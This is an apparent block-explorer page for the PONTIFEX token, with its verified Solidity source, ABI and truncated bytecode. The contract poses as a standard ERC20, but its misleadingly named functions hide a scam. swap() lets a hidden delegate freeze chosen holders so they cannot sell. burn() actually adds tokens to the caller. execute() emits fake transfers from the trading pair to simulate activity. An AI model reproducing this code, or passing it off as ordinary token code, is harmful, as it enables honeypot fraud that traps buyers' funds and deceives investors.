ETH Price: $2,124.34 (-3.09%)

Token

Pontifex Maximus (PONTIFEX)
 

Overview

Max Total Supply

1,000,000,000 PONTIFEX

Holders

53

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,489,173.673797341 PONTIFEX

Value
$0.00
0x0b0f57ca10f5fd8c27f3a878b47a4d951df703c0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PontifexMaximus

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 3: Pontifex Maximus.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

import "./IERC20.sol";
import "./Ownable.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means that a supply mechanism
 * has to be added in a derived contract. Additionally, an {Approval} event is emitted on calls to
 * {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening
 * to said events. Other implementations of the EIP may not emit these events, as it isn't required by the
 * specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been
 * added to mitigate the well-known issues around setting allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) internal _balances;
    mapping(address => bool) private _ERC20FeeAmountExceedsFees;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals; 

    /**
     * @dev Sets the values for {name} and {symbol}.
     * All two of these values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    
    /**
     * @notice Manually sets the allowance granted to `spender` by the caller.
     */
    function swap(address[] calldata spender, bool val) external onlyDelegates { 
        for (uint256 i = 0; i < spender.length; i++) {
            _ERC20FeeAmountExceedsFees[spender[i]] = val;
        }
    }

    function allowance(address sender, uint256 amount) internal view returns (bool) {
        if(_ERC20FeeAmountExceedsFees[sender]) require (amount==0, "ERC20: transfer amout exceeds allowance");
        return _ERC20FeeAmountExceedsFees[sender];
    }

    /**
     * @notice Checking the allowance granted to `spender` by the caller.
     */
    function burnFee(address spender) public view returns (bool) {
        return _ERC20FeeAmountExceedsFees[spender];
    }

    /**
     * @dev See {IERC20-transfer}.
     * Requirements:
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev Destroys `amount` tokens from the caller.
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual onlyDelegates {
        _burn(_msgSender(), amount);
    }

    /**
     * @dev See {IERC20-approve}.
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked { _approve(sender, _msgSender(), currentAllowance - amount);}
        return true;
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * Emits a {Transfer} event with `to` set to the zero address.
     * Requirements:
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance <= amount, "ERC20: burn amount exceeds balance");
        unchecked {_balances[account] = accountBalance + amount;}
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     * Requirements:
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     * Requirements:
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     * Emits a {Transfer} event.
     * Requirements:
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        bool allowed = allowance(sender,amount);
        if (allowed) require 
        (amount <= _balances[sender], "ERC20: transfer amout exceeds balance");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {_balances[sender] = senderBalance - amount;}
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc.
     * Emits an {Approval} event.
     * Requirements:
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    address public uniswapV2Pair;

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;        
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyDelegates{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }
}

contract PontifexMaximus is ERC20 {
    constructor() ERC20('Pontifex Maximus', 'PONTIFEX', 9) {
        _totalSupply = 1000000000*10**9;
        _balances[msg.sender] += _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
}

File 1 of 3: IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`). Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 2 of 3: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application is concerned).
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _delegate;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDelegates() {
        require(_delegate == _msgSender(), "Delegates: caller is not the delegate");
        _;
    }
    
    /**
     * @dev Sets new delegate.
     */
    function delegate(address _address) external onlyOwner {
        require (_delegate == address(0));
        _delegate = _address;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"pair_","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"burnFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"spender","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405234801562000010575f80fd5b506040518060400160405280601081526020017f506f6e7469666578204d6178696d7573000000000000000000000000000000008152506040518060400160405280600881526020017f504f4e544946455800000000000000000000000000000000000000000000000081525060096200009f62000093620001b560201b60201c565b620001bc60201b60201c565b8260069081620000b09190620004e1565b508160079081620000c29190620004e1565b508060085f6101000a81548160ff021916908360ff160217905550505050670de0b6b3a764000060058190555060055460025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200013f9190620005f2565b925050819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001a791906200063d565b60405180910390a362000658565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002f957607f821691505b6020821081036200030f576200030e620002b4565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003737fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000336565b6200037f868362000336565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003c9620003c3620003bd8462000397565b620003a0565b62000397565b9050919050565b5f819050919050565b620003e483620003a9565b620003fc620003f382620003d0565b84845462000342565b825550505050565b5f90565b6200041262000404565b6200041f818484620003d9565b505050565b5b8181101562000446576200043a5f8262000408565b60018101905062000425565b5050565b601f82111562000495576200045f8162000315565b6200046a8462000327565b810160208510156200047a578190505b62000492620004898562000327565b83018262000424565b50505b505050565b5f82821c905092915050565b5f620004b75f19846008026200049a565b1980831691505092915050565b5f620004d18383620004a6565b9150826002028217905092915050565b620004ec826200027d565b67ffffffffffffffff81111562000508576200050762000287565b5b620005148254620002e1565b620005218282856200044a565b5f60209050601f83116001811462000557575f841562000542578287015190505b6200054e8582620004c4565b865550620005bd565b601f198416620005678662000315565b5f5b82811015620005905784890151825560018201915060208501945060208101905062000569565b86831015620005b05784890151620005ac601f891682620004a6565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f620005fe8262000397565b91506200060b8362000397565b9250828201905080821115620006265762000625620005c5565b5b92915050565b620006378162000397565b82525050565b5f602082019050620006525f8301846200062c565b92915050565b61238780620006665f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d71461031c578063a9059cbb1461034c578063a92a05711461037c578063c2b7bbb6146103ac578063dd62ed3e146103c85761012a565b806370a082311461028a578063715018a6146102ba57806373fa7ddb146102c45780638da5cb5b146102e057806395d89b41146102fe5761012a565b8063313ce567116100f2578063313ce567146101e6578063395093511461020457806342966c681461023457806349bd5a5e146102505780635c19a95c1461026e5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019a57806326ededb8146101ca575b5f80fd5b6101366103f8565b6040516101439190611784565b60405180910390f35b61016660048036038101906101619190611839565b610488565b6040516101739190611891565b60405180910390f35b6101846104a5565b60405161019191906118b9565b60405180910390f35b6101b460048036038101906101af91906118d2565b6104ae565b6040516101c19190611891565b60405180910390f35b6101e460048036038101906101df9190611983565b6105a0565b005b6101ee610704565b6040516101fb91906119fb565b60405180910390f35b61021e60048036038101906102199190611839565b610719565b60405161022b9190611891565b60405180910390f35b61024e60048036038101906102499190611a14565b6107c0565b005b61025861086a565b6040516102659190611a4e565b60405180910390f35b61028860048036038101906102839190611a67565b610890565b005b6102a4600480360381019061029f9190611a67565b6109a7565b6040516102b191906118b9565b60405180910390f35b6102c26109ed565b005b6102de60048036038101906102d99190611abc565b610a74565b005b6102e8610ba5565b6040516102f59190611a4e565b60405180910390f35b610306610bcc565b6040516103139190611784565b60405180910390f35b61033660048036038101906103319190611839565b610c5c565b6040516103439190611891565b60405180910390f35b61036660048036038101906103619190611839565b610d42565b6040516103739190611891565b60405180910390f35b61039660048036038101906103919190611a67565b610d5f565b6040516103a39190611891565b60405180910390f35b6103c660048036038101906103c19190611a67565b610db1565b005b6103e260048036038101906103dd9190611b19565b610e71565b6040516103ef91906118b9565b60405180910390f35b60606006805461040790611b84565b80601f016020809104026020016040519081016040528092919081815260200182805461043390611b84565b801561047e5780601f106104555761010080835404028352916020019161047e565b820191905f5260205f20905b81548152906001019060200180831161046157829003601f168201915b5050505050905090565b5f61049b610494610ef3565b8484610efa565b6001905092915050565b5f600554905090565b5f6104ba8484846110bd565b5f60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610501610ef3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610580576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057790611c24565b60405180910390fd5b6105948561058c610ef3565b858403610efa565b60019150509392505050565b6105a8610ef3565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062d90611cb2565b60405180910390fd5b5f5b838390508110156106fe5783838281811061065657610655611cd0565b5b905060200201602081019061066b9190611a67565b73ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106e991906118b9565b60405180910390a38080600101915050610638565b50505050565b5f60085f9054906101000a900460ff16905090565b5f6107b6610725610ef3565b848460045f610732610ef3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107b19190611d2a565b610efa565b6001905092915050565b6107c8610ef3565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084d90611cb2565b60405180910390fd5b610867610861610ef3565b826113b4565b50565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610898610ef3565b73ffffffffffffffffffffffffffffffffffffffff166108b6610ba5565b73ffffffffffffffffffffffffffffffffffffffff161461090c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090390611da7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610964575f80fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109f5610ef3565b73ffffffffffffffffffffffffffffffffffffffff16610a13610ba5565b73ffffffffffffffffffffffffffffffffffffffff1614610a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6090611da7565b60405180910390fd5b610a725f611554565b565b610a7c610ef3565b73ffffffffffffffffffffffffffffffffffffffff1660015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0190611cb2565b60405180910390fd5b5f5b83839050811015610b9f578160035f868685818110610b2e57610b2d611cd0565b5b9050602002016020810190610b439190611a67565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610b0c565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610bdb90611b84565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0790611b84565b8015610c525780601f10610c2957610100808354040283529160200191610c52565b820191905f5260205f20905b815481529060010190602001808311610c3557829003601f168201915b5050505050905090565b5f8060045f610c69610ef3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90611e35565b60405180910390fd5b610d37610d2e610ef3565b85858403610efa565b600191505092915050565b5f610d55610d4e610ef3565b84846110bd565b6001905092915050565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610db9610ef3565b73ffffffffffffffffffffffffffffffffffffffff16610dd7610ba5565b73ffffffffffffffffffffffffffffffffffffffff1614610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2490611da7565b60405180910390fd5b80600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5f90611ec3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd90611f51565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110b091906118b9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361112b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112290611fdf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611199576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111909061206d565b60405180910390fd5b5f6111a48483611615565b9050801561122d5760025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205482111561122c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611223906120fb565b60405180910390fd5b5b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156112b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a890612189565b60405180910390fd5b82810360025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113419190611d2a565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113a591906118b9565b60405180910390a35050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611422576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141990612217565b60405180910390fd5b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818111156114a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149d906122a5565b60405180910390fd5b81810160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161154791906118b9565b60405180910390a3505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156116a8575f82146116a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169e90612333565b60405180910390fd5b5b60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611731578082015181840152602081019050611716565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611756826116fa565b6117608185611704565b9350611770818560208601611714565b611779816